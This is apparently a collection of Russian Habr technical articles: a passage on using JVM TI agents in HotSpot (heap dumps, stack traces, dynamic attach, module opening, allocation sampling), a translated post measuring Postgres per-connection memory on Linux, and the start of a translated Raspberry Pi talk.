Это желание можно понять, поскольку `StackOverflowError` — такая же фатальная ошибка, как и `OutOfMemoryError`, после её возникновения уже нельзя гарантировать корректную работу программы. Или, например, иногда для анализа проблемы хочется по возникновению какого-то исключения получать thread dump или heap dump.
Справедливости ради, в IBM JDK такая возможность есть из коробки. Но теперь мы уже знаем, что с помощью JVM TI-агента можно реализовать то же самое и в HotSpot. Достаточно подписаться на exception callback и проанализировать исключение. Но как снять thread dump или heap dump из нашего агента? В JVM TI есть всё нужное и на этот случай:
Самому реализовывать весь механизм обхода хипа и создания дампа не очень удобно. Но я поделюсь секретом, как сделать проще и быстрее. Правда, это уже не входит в стандартный JVM TI, а является приватным расширением Хотспота.
Нужно подключить заголовочный файлик [jmm.h](http://hg.openjdk.java.net/jdk-updates/jdk11u/file/24a28ba90be4/src/hotspot/share/include/jmm.h) из исходников HotSpot и вызвать функцию `JVM_GetManagement()`:
```
#include "jmm.h"
JNIEXPORT void* JNICALL JVM_GetManagement(jint version);
void JNICALL ExceptionCallback(jvmtiEnv* jvmti, JNIEnv* env, ...) {
JmmInterface* jmm = (JmmInterface*) JVM_GetManagement(JMM_VERSION_1_0);
jmm->DumpHeap0(env, env->NewStringUTF("dump.hprof"), JNI_FALSE);
}
```
Она вернёт указатель на HotSpot Management Interface, который буквально одним вызовом сгенерирует Heap Dump или Thread Dump. Полностью код примера можно посмотреть в [моём ответе](https://stackoverflow.com/a/23640439/6265477) на Stack Overflow.
Естественно, можно обрабатывать не только исключения, но и кучу других всевозможных событий, связанных с работой JVM: запуски/остановки потоков, загрузки классов, сборки мусора, компиляции методов, вход/выход из методов, даже обращение или модификацию конкретных полей Java-объектов.
У меня есть пример другого агента [vmtrace](https://github.com/odnoklassniki/jvmti-tools/blob/master/vmtrace/vmtrace.cpp), который подписывается на многие стандартные JVM TI-события и логирует их. Если запущу простую программку с этим агентом, получу подробный лог, что когда делалось, с временными отметками:
Как видно, чтобы просто напечатать hello world, грузятся сотни классов, генерируются и компилируются десятки и сотни методов. Становится понятно, почему Java так долго запускается. На всё про всё ушло более двухсот миллисекунд.
Что умеет JVM TI
----------------
Кроме обработки событий в JVM TI есть куча других возможностей. Их можно разделить на две группы.
Одна — обязательные, которые должна реализовывать любая JVM, поддерживающая JVM TI. К таким относятся операции анализа методов, полей, потоков, возможность добавления новых классов в classpath и так далее.
Есть и опциональные возможности, которые требуют предварительного запроса capabilities. JVM не обязана поддерживать их все, однако HotSpot реализует всю спецификацию полностью. Опциональные фичи делятся ещё на две подгруппы: те, что можно подключать только на старте JVM (например, возможность установки breakpoint или анализа локальных переменных), и те, что можно подключать в любой момент (в частности, получение байткода или constant pool, которые я использовал выше).
Можно заметить, что что список фич очень напоминает возможности отладчика. На самом деле, Java-дебаггер — это не что иное, как частный случай JVM TI-агента, который пользуется всеми этими возможностями и запрашивает все capabilities.
Разделение capabilities на те, которые можно включить в любой момент, и те, которые только при загрузке, сделано специально. Не все фичи бесплатные, некоторые несут в себе накладные расходы.
Если с прямыми накладными расходами, которыми сопровождается использование фичи, всё понятно, то есть ещё менее очевидные косвенные, которые проявляются, даже если фичу не используете, а просто через capabilities заявляете, что когда-то в будущем она понадобится. Связано это с тем, что виртуальная машина может по-другому компилировать код или добавить дополнительные проверки в runtime.
Например, уже рассмотренное capability подписки на исключения (can\_generate\_exception\_events) приводит к тому, что все выбрасывания исключений будут идти по медленному пути. В принципе, это не так страшно, поскольку в хорошей Java-программе исключения — вещь редкая.
Чуть хуже обстоит дело с локальными переменными. Для can\_access\_local\_variables, позволяющей получать значения локальных переменных в любой момент, требуется отключить некоторые важные оптимизации. В частности, полностью перестаёт работать Escape Analysis, что может давать ощутимый оверхед: в зависимости от приложения, 5-10%.
Отсюда вывод: если запускать Java с включенным debug-агентом, даже не используя его, приложения будут работать медленнее. Да и вообще, включать отладочный агент в продакшене — не очень хорошая идея.
А ряд фич, например, установка breakpoint или трассировка всех входов/выходов из метода, несут гораздо более серьёзные накладные расходы. В частности, некоторые JVM TI события (FieldAccess, MethodEntry/Exit) работают только в интерпретаторе.
Один агент — хорошо, а два — лучше
----------------------------------
К одному процессу можно подключать несколько агентов, просто указав несколько параметров `-agentpath`. У каждого будет свой JVM TI environment. Это значит, что каждый может подписываться на свои capabilities и перехватывать свои события независимо.
А если два агента подписались на событие Breakpoint, и в одном поставлен breakpoint в каком-нибудь методе, то при выполнении этого метода получит ли событие второй агент?
В действительности такой ситуации возникнуть не может (по крайней мере, в HotSpot JVM). Потому что есть некоторые capabilities, которыми в каждый момент времени может владеть только один из агентов. К ним, в частности, относится breakpoint\_events. Поэтому, если второй агент запросит тот же capability, в ответ получит ошибку.
Отсюда важный вывод: в агенте всегда стоит проверять результат запроса capabilities, даже если вы запускаетесь на HotSpot и знаете, что все они доступны. В спецификации JVM TI ничего не сказано про эксклюзивные capabilities, но у HotSpot есть такая особенность реализации.
Правда, не всегда изоляция агентов работает идеально. В процессе разработки [async-profiler](https://github.com/jvm-profiling-tools/async-profiler) я наткнулся на такую проблему: когда у нас есть два агента и один запрашивает генерацию событий компиляции методов, то эти события получают все агенты. Я, конечно, зафайлил [баг](https://bugs.openjdk.java.net/browse/JDK-8222072), но следует иметь в виду, что в вашем агенте могут возникать события, которых вы не ожидаете.
Использование в обычной программе
---------------------------------
JVM TI может показаться узкоспецифичной штукой для отладчиков и профайлеров, но им можно пользоваться и в обычной Java-программе. Рассмотрим пример.
Сейчас распространена парадигма реактивного программирования, когда всё асинхронно, но с этой парадигмой есть проблема.
```
public class TaskRunner {
private static void good() {
CompletableFuture.runAsync(new AsyncTask(GOOD));
}
private static void bad() {
CompletableFuture.runAsync(new AsyncTask(BAD));
}
public static void main(String[] args) throws Exception {
good();
bad();
Thread.sleep(200);
}
}
```
Я запускаю две асинхронных задачи, которые отличаются только параметрами. И если что-то идёт не так, то возникает исключение:
Из стек-трейса совершенно непонятно, какая из этих задач вызвала проблему. Потому что исключение возникает совсем в другом потоке, где у нас нет контекста. Как понять, в какой именно задаче?
Как одно из решений можно добавить в конструктор нашей асинхронной задачи информацию о том, где мы её создали:
```
public AsyncTask(String arg) {
this.arg = arg;
this.location = getLocation();
}
```
То есть запомнить location — конкретное место в коде, вплоть до строчки, откуда был вызван конструктор. А в случае возникновения исключения его залогировать:
```
try {
int n = Integer.parseInt(arg);
} catch (Throwable e) {
System.err.println("ParseTask failed at " + location);
e.printStackTrace();
}
```
Теперь, когда возникнет исключение, мы увидим, что случилось это на строчке 14 в TaskRunner (где создаётся задача с параметром BAD):
Но как получить то место в коде, откуда вызван конструктор? До Java 9 существовал единственный легальный способ это сделать: получить стек-трейс, пропустить несколько нерелевантных фреймов, и чуть ниже по стеку и будет то место, которое вызвало наш код.
```
String getLocation() {
StackTraceElement caller = Thread.currentThread().getStackTrace()[3];
return caller.getFileName() + ':' + caller.getLineNumber();
}
```
Но здесь есть проблема. Получение полного StackTrace работает довольно медленно. У меня этому посвящен целый [доклад](https://www.youtube.com/watch?v=0pyZERLBZvQ).
Это не было бы такой большой проблемой, если бы происходило редко. Но, например, у нас есть веб-сервис — фронтенд, который принимает HTTP запросы. Это большое приложение, миллионы строк кода. И для отлавливания ошибок рендеринга у нас используется схожий механизм: в компонентах для рендеринга мы запоминаем место, где они создаются. Таких компонентов у нас миллионы, поэтому получение всех стек-трейсов занимает ощутимое время на старте приложения, не одну минуту. Поэтому раньше такая фича была у нас в продакшене отключена, хотя для анализа проблем она как раз в продакшене и нужна.
В Java 9 появился новый способ обхода стеков потоков: StackWalker, который посредством Stream API умеет всё это делать лениво, по запросу. То есть можем пропустить нужное количество фреймов и достать только один интересующий нас.
```
String getLocation() {
return StackWalker.getInstance().walk(s -> {
StackWalker.StackFrame frame = s.skip(3).findFirst().get();
return frame.getFileName() + ':' + frame.getLineNumber();
});
}
```
Он работает чуть лучше, чем полное получение стек-трейса, но не на порядок и даже не в разы. В нашем случае он оказался быстрее где-то в полтора раза:
Есть [известная проблема](https://bugs.openjdk.java.net/browse/JDK-8151751), связанная с неоптимальной реализацией StackWalker, и, скорее всего, её даже пофиксят в JDK 13. Но опять же, что нам делать прямо сейчас в Java 8, где StackWalker нет даже медленного?
На помощь опять приходит JVM TI. Там есть функция `GetStackTrace()`, которая умеет всё, что нужно: достать фрагмент стектрейса заданной длины, начиная с указанного фрейма, и не делать ничего лишнего.
```
GetStackTrace(jthread thread,
jint start_depth,
jint max_frame_count,
jvmtiFrameInfo* frame_buffer,
jint* count_ptr)
```
Остаётся только один вопрос: как из нашей программы на Java вызвать JVM TI-функцию? Точно так же, как и любой другой нативный метод: загрузить с помощью `System.loadLibrary()` нативную библиотеку, где будет JNI-реализация нашего метода.
```
public class StackFrame {
public static native String getLocation(int depth);
static {
System.loadLibrary("stackframe");
}
}
```
Указатель на JVM TI environment [можно получать](https://docs.oracle.com/en/java/javase/11/docs/specs/jvmti.html#jvmtiEnvAccess) не только из Agent\_OnLoad(), но и во время работы программы, и дальше пользоваться им из обычных нативных JNI-методов:
```
JNIEXPORT jstring JNICALL
Java_StackFrame_getLocation(JNIEnv* env, jclass unused, jint depth) {
jvmtiFrameInfo frame;
jint count;
jvmti->GetStackTrace(NULL, depth, 1, &frame, &count);
```
Такой подход работает уже в разы быстрее и позволил нам сэкономить несколько минут старта приложения:
Правда, с очередным апдейтом JDK нас ждал сюрприз: приложение вдруг стало очень-очень медленно стартовать. Расследование привело к той самой нативной библиотеке для получения стек-трейсов. Разбираясь, пришли к выводу, что баг появился не у нас, а в JDK. Начиная с JDK 8u112, все JVM TI-функции, работающие с методами (GetMethodName, GetMethodDeclaringClass и так далее), стали жутко тормозить.
Я завёл [баг](https://bugs.openjdk.java.net/browse/JDK-8185348), немного поисследовал, и обнаружил забавную история: в некоторые JVM TI-функции добавляли отладочные проверки, но не заметили, что они вызываются в том числе и из продакшен-кода. Этот сценарий использования не нашли, потому что он был не в исходниках на C++, а в файле [jvmtiEnter.xsl](http://hg.openjdk.java.net/jdk8u/jdk8u/hotspot/file/36a743eee672/src/share/vm/prims/jvmtiEnter.xsl).
Представьте себе: во время компиляции HotSpot часть исходников генерируется на лету через XSLT-преобразование. Вот так энтерпрайз нанёс ответный удар HotSpot.
Какое тут может быть решение? Просто не вызывать эти функции слишком часто, стараться кэшировать результаты. То есть, если для какого-то jmethodID получили информацию, запомнить её локально в своём агенте. Применив такое кэширование на уровне агента, мы вернули производительность на прежний уровень.
Динамическое подключение
------------------------
Предыдущим примером я показал, что JVM TI можно использовать прямо из Java-кода с помощью обычных нативных методов, используя `System.loadLibrary`.
Кроме того, мы уже видели, как можно подключать JVM TI-агенты через `-agentpath` при запуске JVM.
А есть ещё третий способ: динамическое подключение (dynamic attach).
В чём идея? Если вы запустили в приложение и не подумали о том, что вам в дальнейшем потребуется какая-то фича, или вдруг понадобилось исследовать баг на продакшене, то можно загрузить JVM TI-агент прямо во время исполнения.
Начиная с JDK 9, это стало возможным прямо из командной строки с помощью утилиты jcmd:
```
jcmd JVMTI.agent\_load /path/to/agent.so [arguments]
```
А для более старых версий JDK можно использовать мою утилиту [jattach](https://github.com/apangin/jattach). Например, [async-profiler](https://github.com/jvm-profiling-tools/async-profiler) умеет подключаться на лету к приложениям, запущенным без каких-либо дополнительных JVM-аргументов, как раз благодаря jattach.
Чтобы в своём JVM TI-агенте воспользоваться возможностью динамического подключения, нужно, помимо `Agent_OnLoad()`, реализовать похожую функцию `Agent_OnAttach()`. Единственная разница: в `Agent_OnAttach()` нельзя использовать те capabilities, которые доступны только во время загрузки агента.
Важно помнить, что можно динамически подключать одну и ту же библиотеку несколько раз, так что `Agent_OnAttach()` может вызываться повторно.
Продемонстрирую на примере. В роли продакшена будет IntelliJ IDEA: это ведь тоже Java-приложение, значит, мы тоже можем подключиться к нему на лету и что-то сделать.
Найдём process ID нашей IDEA, затем утилитой jattach подключим к этому процессу JVM TI-библиотеку patcher.dll:
`jattach 8648 load patcher.dll true`
И прямо на лету она изменила цвет меню на красный:
Что делает этот агент? Находит все Java-объекты заданного класса (`javax.swing.AbstractButton`) и вызывает через JNI метод `setBackground()`. Полностью код можно увидеть [здесь](https://gist.github.com/apangin/a1ffa97c8b5d448dc84a3bdd7eebb24e).
Что нового в Java 9
-------------------
JVM TI существует уже давно, и, несмотря на существующие баги, там уже устоявшийся отлаженный API, который долгое время не менялся. Первые значительные нововведения появились в Java 9.
Как известно, Java 9 принесла разработчикам боль и страдания, связанные с модулями. Прежде всего, стало непросто пользоваться «секретами» JDK, без которых порой в принципе не обойтись.
Например, в JDK нет легального способа очистить Direct ByteBuffer. Только через приватный API:
Скажем, в Cassandra без этой возможности никуда, потому что вся работа СУБД построена на работе с MappedByteBuffer, и если их не очищать вручную, то JVM быстро упадёт.
А если вы тот же код попробуете запустить на JDK 9, получите IllegalAccessError:
Примерно также дело обстоит с Reflection: стало непросто достучаться к приватным полям.
Например, в Java доступны не все файловые операции из Linux. Поэтому для линукс-специфичных возможностей программисты доставали через рефлекшен из объекта `java.io.FileDescriptor` системный дескриптор файла и с помощью JNI вызывали на нём какие-то системные функции. А теперь, если запустите это на JDK 9, то увидите ругань в логах:
Конечно, есть флажки JVM, открывающие нужные приватные модули и позволяющие пользоваться приватными классами и рефлекшеном. Но нужно вручную прописывать все пакеты, которые собираетесь использовать. Например, чтобы просто запустить Cassandra на Java 11, надо прописать [такое](https://github.com/apache/cassandra/blob/trunk/conf/jvm11-server.options) полотнище:
```
--add-exports java.base/jdk.internal.misc=ALL-UNNAMED
--add-exports java.base/jdk.internal.ref=ALL-UNNAMED
--add-exports java.base/sun.nio.ch=ALL-UNNAMED
--add-exports java.management.rmi/com.sun.jmx.remote.internal.rmi=ALL-UNNAMED
--add-exports java.rmi/sun.rmi.registry=ALL-UNNAMED
--add-exports java.rmi/sun.rmi.server=ALL-UNNAMED
--add-exports java.sql/java.sql=ALL-UNNAMED
--add-opens java.base/java.lang.module=ALL-UNNAMED
--add-opens java.base/jdk.internal.loader=ALL-UNNAMED
--add-opens java.base/jdk.internal.ref=ALL-UNNAMED
--add-opens java.base/jdk.internal.reflect=ALL-UNNAMED
--add-opens java.base/jdk.internal.math=ALL-UNNAMED
--add-opens java.base/jdk.internal.module=ALL-UNNAMED
--add-opens java.base/jdk.internal.util.jar=ALL-UNNAMED
--add-opens jdk.management/com.sun.management.internal=ALL-UNNAMED
```
Однако вместе с модулями появились и [функции](https://docs.oracle.com/en/java/javase/11/docs/specs/jvmti.html#module) JVM TI для работы с ними:
* GetAllModules
* AddModuleExports
* AddModuleOpens
* и т. д.
Глядя на этот список, решение напрашивается само собой: можно дождаться загрузки JVM, получить список всех модулей, пробежаться по всем пакетам, открыть всё для всех и радоваться.
Вот тот самый пример с Direct ByteBuffer:
```
public static void main(String[] args) {
ByteBuffer buf = ByteBuffer.allocateDirect(1024);
((sun.nio.ch.DirectBuffer) buf).cleaner().clean();
System.out.println("Buffer cleaned");
}
```
Если запустим его без агентов, ожидаемо получим IllegalAccessError. А если добавить в agentpath написанный мной агент [antimodule](https://github.com/odnoklassniki/jvmti-tools/tree/master/antimodule), то пример отработает без ошибок. То же самое с рефлекшеном.
Что нового в Java 11
--------------------
Другое нововведение появилось в Java 11. Оно всего одно, но зато какое! Появилась возможность легковесного профилирования аллокаций: добавилось новое событие `SampledObjectAlloc`, на которое можно подписаться, чтобы приходили выборочные нотификации об аллокациях.
В callback будет передаваться всё, что нужно для дальнейшего анализа: поток, который аллоцирует, сам выделенный объект, его класс, размер. Другим методом `SetHeapSampingInterval` можно изменить частоту, как часто будут эти нотификации приходить.
Зачем это нужно? Профилирование аллокаций было и раньше во всех популярных профайлерах, но работало через инструментирование, которое чревато большими накладными расходами. Единственным средством профилирования с низким оверхедом был Java Flight Recorder.
Идея нового метода в том, чтобы инструментировать не все аллокации, а только некоторые из них, иначе говоря, сэмплировать.
В самом быстром и самом частом случае аллокация происходит внутри Thread Local Allocation Buffer простым увеличением указателя. А с включением сэмплирования в TLAB добавляется виртуальная граница, соответствующая частоте сэмплирования. Как только очередная аллокация переваливает за эту границу, посылается событие о выделении объекта.
В некоторых случаях большие объекты, которые не влезают в TLAB, выделяются напрямую в хипе. Такие объекты тоже проходят по медленному пути аллокации через JVM runtime и тоже сэмплируются.
За счёт того, что теперь сэмплирование выполняется лишь для некоторых объектов, накладные расходы уже приемлемы для продакшена — в большинстве случаев менее 5%.
Что интересно, такая возможность была давно, ещё со времён JDK 7, сделанная специально для Flight Recorder. Но через приватный API Хотспота этим пользовался и async-profiler. А теперь, начиная с JDK 11, этот API стал публичным, вошёл в JVM TI, и им могут пользоваться другие профайлеры. В частности, YourKit уже тоже умеет. А как пользоваться этим API, можно посмотреть в [примере](https://github.com/odnoklassniki/jvmti-tools/tree/master/heapsampler), выложенном в нашем репозитории.
С помощью такого профайлера можно строить красивые диаграммы аллокаций. Смотреть, какие объекты выделяются, сколько их выделяется и, главное, откуда.
Вывод
-----
JVM TI — отличное средство взаимодействия с виртуальной машиной.
Плагины, написанные на С или С++, можно запускать при старте JVM или же подключать динамически прямо во время работы приложения. Кроме того, функциями JVM TI может пользоваться и само приложение посредством нативных методов.
Все продемонстрированные примеры выложены в нашем репозитории [на GitHub](https://github.com/odnoklassniki/jvmti-tools). Пользуйтесь, изучайте и задавайте вопросы. | https://habr.com/ru/post/458812/ | null | ru | null |
# Измеряем расходы на память у Postgres процессов
*Это вольный перевод* [*поста*](https://blog.anarazel.de/2020/10/07/measuring-the-memory-overhead-of-a-postgres-connection/) *одного из сильных разработчиков Postgres - Andres Freund. Кроме того что разработчик сильный, так еще и статья довольно интересная и раскрывает детали того как работает ОС Linux.*
Довольно часто можно слышать заявления что постгресовые соединения используют слишком много памяти. Об этом часто упоминают сравнивая процессную модель обработки клиентских соединений с другой моделью, где каждое соединение обслуживается в отдельном потоке (thread).
Как по мне, здесь есть что обсудить. Кроме того можно сделать несколько улучшений и уменьшить использование памяти.
Я думаю что эта обеспокоенность оверхэдом на память вызвана одной общей причиной, это то что самый простой способ измерения потребления памяти через утилиты типа *top* и *ps* является довольно обманчивым.
И действительно, особенно довольно сложно измерить то как увеличивается используемая память при каждом новом соединении.
В этом посте я буду говорить о Postgres работающем на Linux, т.к. именно в этом направлении у меня больше всего опыта.
И перед тем как продолжить я хочу акцентировать внимание, что при точном и аккуратном измерении, одно соединение имеет накладные расходы на уровне меньше 2MiB (см. выводы в конце поста).
Первый взгляд
-------------
Если использовать стандартные утилиты операционной системы, то можно сделать вывод, что накладные расходы существенно больше (чем есть на самом деле). Особенно если не использовать большие страницы ([huge pages](https://www.postgresql.org/docs/current/runtime-config-resource.html#GUC-SHARED-BUFFERS)), то использование памяти каждый процессом действительно выглядит слишком большим. Отмечу что настоятельно рекомендуется использовать большие страницы. Давайте взглянем на только что установленное соединение, в только что запущенном Postgres:
```
andres@awork3:~$ psql
postgres[2003213][1]=# SELECT pg_backend_pid();
┌────────────────┐
│ pg_backend_pid │
├────────────────┤
│ 2003213 │
└────────────────┘
(1 row)
andres@awork3:~/src/postgresql$ ps -q 2003213 -eo pid,rss
PID RSS
2003213 16944
```
Около 16MiB.
Утечки памяти!?! К счастью, нет
-------------------------------
При этом со временем памяти используется все больше и больше. Чтобы продемонстрировать это, я воспользуюсь расширением [pgprewarm](https://www.postgresql.org/docs/current/pgprewarm.html), чтобы загрузить таблицу в буфер (shared buffers):
```
postgres[2003213][1]=# SHOW shared_buffers ;
┌────────────────┐
│ shared_buffers │
├────────────────┤
│ 16GB │
└────────────────┘
(1 row)
postgres[2003213][1]=# SELECT SUM(pg_prewarm(oid, 'buffer')) FROM pg_class WHERE relfilenode <> 0;
┌────────┐
│ sum │
├────────┤
│ 383341 │
└────────┘
andres@awork3:~$ ps -q 2003213 -eo pid,rss
PID RSS
2003213 3169144
```
Теперь использование памяти достигло уровня 3GB. При том что, на самом деле, в этой сессии не потребовалось выделять дополнительную память. Объем используемой памяти, увеличился пропорционально объему используемого буфера:
```
postgres[2003213][1]=# SELECT pg_size_pretty(SUM(pg_relation_size(oid))) FROM pg_class WHERE relfilenode <> 0;
┌────────────────┐
│ pg_size_pretty │
├────────────────┤
│ 2995 MB │
└────────────────┘
(1 row)
```
Что еще хуже, даже если эти страницы будут использовать в других сессиях, это также будет отображаться как использование большого объема памяти:
```
postgres[3244960][1]=# SELECT sum(abalance) FROM pgbench_accounts ;
┌─────┐
│ sum │
├─────┤
│ 0 │
└─────┘
(1 row)
andres@awork3:~/src/postgresql$ ps -q 3244960 -eo pid,rss
PID RSS
3244960 2700372
```
Конечно, Postgres на самом деле не использует 3GB и 2.7GB памяти в данном случае. На самом деле, в случае huge\_pages=off, утилита *ps* отображает объем разделяемой (shаred - память совместно используемая с другими процессами) памяти, включая и страницы в буфере которые используются в каждой сессии. Очевидно это приводит к значительной переоценке величины используемой памяти.
На помощь внезапно приходят большие страницы
--------------------------------------------
Множество процессорных микро-архитектур обычно используют страницы размером 4KiB, но также могут использовать и страницы большего размера, например широко распространенный вариант это 2MiB.
В зависимости от операционной системы, конфигурации и типа приложений, такие большие страницы могут использоваться и самой операционной системой и приложениями. Для больших подробностей можно в качестве примера взять [статью](https://wiki.debian.org/Hugepages) из Debian wiki об использовании больших страниц.
Если повторить вышеописанный эксперимент с huge\_pages=on, можно увидеть гораздо более приятные глазу результаты. Для начала, взглянем на "новый процесс":
```
andres@awork3:~$ ps -q 3245907 -eo pid,rss
PID RSS
3245907 7612
```
Теперь, новый процесс использует всего около 7MiB. Такое уменьшение вызвано тем что таблицы управления страницами ([page table](https://en.wikipedia.org/wiki/Page_table)) теперь требуют меньше места, из-за того что используются большие страницы, для управления тем же объемом памяти нужно в 512 раз меньше элементов чем раньше (4KiB \* 512 = 2MiB).
Теперь давайте посмотрим что произойдет при доступе к большим объемам данных в памяти:
```
postgres[3245843][1]=# ;SELECT SUM(pg_prewarm(oid, 'buffer')) FROM pg_class WHERE relfilenode <> 0;
…
postgres[3245851][1]=# SELECT sum(abalance) FROM pgbench_accounts ;
…
andres@awork3:~$ ps -q 3245907,3245974 -eo pid,rss
PID RSS
3245907 12260
3245974 8936
```
В отличие от самого первого эксперимента, эти процессы используют всего 12MiB и 9MiB соответственно, в то время как в прошлый раз использовалось 3GiB и 2.7GiB.
Разница довольно очевидна.
Это следствие того, как в Linux реализован учёт использования больших страниц, а не потому, что мы использовали на порядки меньше памяти: используемые большие страницы не отображаются как часть значения RSS в выводе *ps* и *top*.
Чудес не бывает
---------------
Начиная с версии ядра 4.5, появился файл */proc/$pid/status* в котором отображается более подробная статистики об использование памяти процессом:
* *VmRSS* общий размер используемой памяти. Значение является суммой трех других значений (*VmRSS* = *RssAnon* + *RssFile* + *RssShmem*)
* *RssAnon* размер используемой анонимной памяти.
* *RssFile* размер используемой памяти ассоциированной с файлами.
* *RssShmem* размер используемой разделяемой памяти (включая SysV shm, сегменты в tmpfs и анонимные разделяемые сегменты)
```
andres@awork3:~$ grep -E '^(Rss|HugetlbPages)' /proc/3247901/status
RssAnon: 2476 kB
RssFile: 5072 kB
RssShmem: 8520 kB
HugetlbPages: 0 kB
postgres[3247901][1]=# SELECT SUM(pg_prewarm(oid, 'buffer')) FROM pg_class WHERE relfilenode <> 0;
andres@awork3:~$ ps -q 3247901 -eo pid,rss
PID RSS
3247901 3167164
andres@awork3:~$ grep -E '^(Rss|HugetlbPages)' /proc/3247901/status
RssAnon: 3148 kB
RssFile: 9212 kB
RssShmem: 3154804 kB
HugetlbPages: 0 kB
```
*RssAnon* отображает объем "анонимной" памяти, т.е. участки рабочей памяти которые не являются отображением файлов на диске. *RssFile* это как раз отображение в памяти конкретных файлов на диске, включая даже исполняемый файл postgres. И последнее *RssShmem* отображает доступную разделяемую память без учета больших страниц.
Это хорошо показывает причину того почему *ps* и подобные утилиты показывают большие значения используемой памяти - из-за того что учитывается разделяемая память.
И теперь взглянем на эту же статистику, но с huge\_pages=on:
```
andres@awork3:~$ grep -E '^(Rss|HugetlbPages)' /proc/3248101/status
RssAnon: 2476 kB
RssFile: 4664 kB
RssShmem: 0 kB
HugetlbPages: 778240 kB
postgres[3248101][1]=# SELECT SUM(pg_prewarm(oid, 'buffer')) FROM pg_class WHERE relfilenode <> 0;
andres@awork3:~$ grep -E '^(Rss|HugetlbPages)' /proc/3248101/status
RssAnon: 3136 kB
RssFile: 8756 kB
RssShmem: 0 kB
HugetlbPages: 3846144 kB
```
Увеличиваем точность
--------------------
Однако даже если считать использование памяти без учета разделяемой памяти, это всё еще является переоценкой реального использования памяти. Тут есть две причины:
Первое, на самом деле учет *RssFile* в использовании памяти не играет роли - по факту это всего лишь исполняемый файл и используемые им разделяемые библиотеки (Postgres не использует *mmap()* для каких-либо файлов). Все эти файлы являются общими для всех процессов в системе и практически не дают накладных расходов для постгресовых процессов.
Второе, *RssAnon* также переоценивает использование памяти. Смысл тут в том что *ps* показывает всю память процесса целиком, при том что большая часть этой памяти в случае создания нового процесса делится между пользовательским соединением и памятью родительского процесса postgres (так же известен как postmaster). Это следует из того что Linux не копирует всю память целиком когда создает новый процесс (при выполнении операции *fork()*), вместо этого используется механизм [Copy-on-Write](https://en.wikipedia.org/wiki/Copy-on-write) для копирования в новый процесс, набора только измененных страниц.
Таким образом, пока нет хорошего способа аккуратно и точно измерить использование памяти отдельно взятого нового процесса. Но все не так плохо, начиная с версии 4.14 ядро предоставляет еще одну статистику ([коммит с описанием](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=493b0e9d945fa9dfe96be93ae41b4ca4b6fdb317)) процесса в */proc/$pid/smaps\_rollup* файле. *Pss* показывает "принадлежащую процессу пропорциональную долю отображения" среди всех отображений этого процесса (детали можно найти в документации поиском по [smaps\_rollups](https://www.kernel.org/doc/html/latest/filesystems/proc.html?highlight=smaps_rollup) и [Pss](https://www.kernel.org/doc/html/latest/filesystems/proc.html?highlight=Pss) которые сами по себе не имеют прямых ссылок). Для сегмента памяти используемого совместно между несколькими процессами, доля будет представлять собой отношение размера этого сегмента на количество процессов которые используют этот сегмент.
```
postgres[2004042][1]=# SELECT SUM(pg_prewarm(oid, 'buffer')) FROM pg_class WHERE relfilenode <> 0;
┌────────┐
│ sum │
├────────┤
│ 383341 │
└────────┘
(1 row)
postgres[2004042][1]=# SHOW huge_pages ;
┌────────────┐
│ huge_pages │
├────────────┤
│ off │
└────────────┘
(1 row)
andres@awork3:~$ grep ^Pss /proc/2004042/smaps_rollup
Pss: 3113967 kB
Pss_Anon: 2153 kB
Pss_File: 3128 kB
Pss_Shmem: 3108684 kB
```
*Pss\_Anon* включает в себя анонимную память используемую процессом, *Pss\_File* включает память используемую под разделяемые библиотеки задействование процессом, и *Pss\_Shmem* (если не используются большие страницы) показывает использование общей памяти разделенное на все процессы которые обращались к соответствующим страницам.
Но у пропорциональных значений есть небольшой недостаток, это использование делителя который зависит от числа подключений к серверу. Здесь я использовал pgbench (scale 1000, -S -M prepared -c 1024) чтобы создать большое число подключений:
```
postgres[2004042][1]=# SELECT count(*) FROM pg_stat_activity ;
┌───────┐
│ count │
├───────┤
│ 1030 │
└───────┘
(1 row)
postgres[2004042][1]=# SELECT pid FROM pg_stat_activity WHERE application_name = 'pgbench' ORDER BY random() LIMIT 1;
┌─────────┐
│ pid │
├─────────┤
│ 3249913 │
└─────────┘
(1 row)
andres@awork3:~$ grep ^Pss /proc/3249913/smaps_rollup
Pss: 4055 kB
Pss_Anon: 1185 kB
Pss_File: 6 kB
Pss_Shmem: 2863 kB
```
И с использованием huge\_pages=on:
```
andres@awork3:~$ grep ^Pss /proc/2007379/smaps_rollup
Pss: 1179 kB
Pss_Anon: 1173 kB
Pss_File: 6 kB
Pss_Shmem: 0 kB
```
К сожалению *Pss* значения учитывают только те ресурсы, что видны приложению. Например, размер таблицы страниц не учитывается. Размер таблицы страниц можно увидеть в уже упоминавшемся *`/proc/$pid/status`*.
Я не уверен, но насколько я знаю, *VmPTE* (размер таблицы страниц) полностью приватный для каждого процесса, но остальное большинство *Vm*\* значений, включая стек *VmStk* являются общими через copy-on-write.
Учитывая всё это, накладные расходы с учетом таблицы страниц и с huge\_pages=off:
```
andres@awork3:~$ grep ^VmPTE /proc/2004042/status
VmPTE: 6480 kB
```
и с huge\_pages=on:
```
VmPTE: 132 kB
```
Конечно обслуживание каждого процесса в ядре наверняка предполагаются еще какие-то отдельные небольшие накладные расходы, но они настолько малы, что они даже не представлены в файле статистики.
Вывод
-----
На основе проделанных измерений, мы можем представить что процесс выполняющий достаточно простую read-only OLTP нагрузку имеет накладные расходы около 7.6MiB с huge\_pages=off и около 1.3MiB с huge\_pages=on включая Pss\_Anon в VmPTE.
Даже если представить что есть некий "невидимый" оверхэд, и большой объем данных в буфере и т.д., я думаю мы вернемся к моему раннему утверждению что накладные расходы на соединение меньше чем 2MiB.
*Дополнение от переводчика. В версии Postgres 14 появилось новое представление pg\_backend\_memory\_contexts которое показывает подробную утилизацию памяти текущим процессом с точки зрения самого Postgres.* | https://habr.com/ru/post/562222/ | null | ru | null |
# История создания RaspberryPi микрокомпьютера
Поздравляем разработчиков RaspberryPi — недавно они [преодолели барьер в 2 млн проданных плат](http://habrahabr.ru/post/202514/).
И в честь этого знаменательного события предлагаем перевод [выступления Эбена Аптона](http://www.youtube.com/watch?v=PAHBZImmXsI) (PYCON US конференция март 2013 года).
#### Выступление
Спасибо всем! Меня зовут Эбен Аптон (Eben Upton), я управляю компанией Raspberry Pi Foundation, основанной в Великобритании. Мы делаем маленькие компьютеры для детей.
Я бы хотел поговорить немного о том, что такое Raspberry Pi. Это очень большая история о самом Raspberry Pi и о том, почему мы этим занимаемся.
